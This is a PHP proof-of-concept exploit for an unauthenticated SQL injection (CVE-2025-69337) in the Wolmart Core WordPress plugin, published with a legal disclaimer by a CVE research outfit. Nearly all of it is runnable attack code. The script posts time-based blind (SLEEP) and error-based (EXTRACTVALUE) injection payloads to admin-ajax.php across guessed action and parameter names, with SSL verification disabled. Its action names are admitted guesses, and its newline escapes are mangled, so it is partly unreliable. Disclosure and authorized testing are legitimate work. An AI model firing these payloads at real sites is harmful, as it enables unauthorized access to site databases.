CVE-2025-69337: Wolmart Core <= 1.9.6 – Unauthenticated SQL Injection (wolmart-core)

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-69337 - Wolmart Core <= 1.9.6 - Unauthenticated SQL Injection
<?php
/**
 * Proof of Concept for CVE-2025-69337
 * This script demonstrates SQL injection in Wolmart Core plugin <= 1.9.6
 * Assumptions based on WordPress plugin patterns:
 * 1. Vulnerability is accessible via admin-ajax.php (common for unauthenticated endpoints)
 * 2. The 'action' parameter contains a wolmart-specific hook
 * 3. A vulnerable parameter accepts unsanitized input
 * 4. The plugin uses MySQL/MariaDB database
 */

$target_url = "https://example.com/wp-admin/admin-ajax.php"; // CHANGE THIS

// Common WordPress AJAX action patterns for theme/plugin cores
$possible_actions = [
    'wolmart_ajax',
    'wolmart_core_ajax',
    'wolmart_ajax_action',
    'wolmart_ajax_request',
    'wolmart_get_data',
    'wolmart_load_more'
];

// Time-based blind SQL injection payload
// Tests if the database sleeps for 5 seconds when condition is true
$payload = "1' AND (SELECT 1 FROM (SELECT SLEEP(5))a)-- ";

foreach ($possible_actions as $action) {
    echo "Testing action: $actionn";
    
    $ch = curl_init();
    
    // WordPress AJAX endpoints typically accept POST requests
    $post_data = [
        'action' => $action,
        // Common vulnerable parameter names in WordPress plugins
        'id' => $payload,
        'product_id' => $payload,
        'post_id' => $payload,
        'page_id' => $payload,
        'category' => $payload,
        'term_id' => $payload
    ];
    
    curl_setopt_array($ch, [
        CURLOPT_URL => $target_url,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => $post_data,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 10, // Increased timeout for sleep-based detection
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false
    ]);
    
    $start_time = microtime(true);
    $response = curl_exec($ch);
    $end_time = microtime(true);
    $elapsed = $end_time - $start_time;
    
    curl_close($ch);
    
    // Check for time delay indicating successful injection
    if ($elapsed >= 5) {
        echo "[+] Potential SQL injection confirmed via action '$action' (delay: {$elapsed}s)n";
        echo "[+] Vulnerable parameter likely one of: " . implode(', ', array_keys($post_data)) . "n";
        break;
    } else {
        echo "[-] No injection detected for action '$action' (time: {$elapsed}s)n";
    }
}

// If time-based fails, test with error-based payload
if ($elapsed < 5) {
    echo "nTesting error-based injection...n";
    
    $error_payload = "1' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT @@version),0x7e))-- ";
    
    $ch = curl_init();
    $post_data = [
        'action' => 'wolmart_ajax', // Most likely action
        'id' => $error_payload
    ];
    
    curl_setopt_array($ch, [
        CURLOPT_URL => $target_url,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => $post_data,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 5
    ]);
    
    $response = curl_exec($ch);
    curl_close($ch);
    
    // Check for MySQL error messages in response
    if (preg_match('/XPATH syntax error|MySQL|MariaDB|SQL syntax/i', $response)) {
        echo "[+] Error-based SQL injection confirmedn";
        echo "[+] Response snippet: " . substr($response, 0, 200) . "n";
    }
}

echo "nPoC complete. Manual parameter fuzzing recommended for full exploitation.n";
?>